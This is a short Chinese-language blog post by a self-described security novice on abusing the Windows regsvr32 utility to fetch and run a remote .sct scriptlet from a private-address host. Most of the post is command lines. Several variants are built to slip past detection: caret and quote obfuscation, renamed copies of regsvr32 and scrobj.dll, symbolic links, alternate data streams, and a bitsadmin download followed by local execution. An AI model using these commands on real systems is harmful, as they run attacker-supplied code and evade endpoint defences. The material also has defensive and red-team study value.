论安全萌新的自我修养

   :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

简介

再补充相关程序命令说明:
/u:反注册DLL文件
/i:在使用 /u 反注册时调用 DllInstall
/s:安静模式下执行命令,即在成功注册/反注册DLL文件前提下不显示结果提示框
/c:控制端口
/n:不调用DllRegisterServer,必须与/i连用

实际使用

已知基本上线命令:
regsvr32 /u /n /s /i:http://192.168.122.1/2021.sct scrobj.dll

尝试绕过常规限制

字符干扰

regsvr32 /u /n /s /i:h^t^t^p://192.168.122.1/2021.sct scrobj.dll
regsvr32 /u /n /s /i:h"t"t"p://192.168.122.1/2021.sct scrobj.dll

目录移动

copy c:\windows\system32\regsvr32.exe  C:\Users\Administrator\Desktop\regs.exe
regs.exe /u /n /s /i:http://192.168.122.1/2021.sct scrobj.dll

copy c:\windows\system32\scrobj.dll newscrobj.dll
regsvr32 /u /n /s /i:http://192.168.122.1/2021.sct newscrobj.dll
符号链接
需要链接的dll目录下进行
Mklink.exe c:\programdata\Myscrobj.dll c:\windows\system32\scrobj.dll
regsvr32 /u /n /s /i:http://192.168.122.1/2021.sct Myscrobj.dll
数据流(ADS)
type c:\windows\system32\scrobj.dll > test.txt:new1.dll
regsvr32 /u /n /s /i:http://192.168.122.1/2021.sct test.txt:new1.dll
本地运行
bitsadmin /transfer download /download /priority normal http://192.168.122.1/2021.sct %TEMP%\new2021.txt && regsvr32.exe /s /u /i:%TEMP%\new2021.txt scrobj.dll
posted on 2021-02-15 18:37  Yangsir34  阅读(193)  评论(0编辑  收藏  举报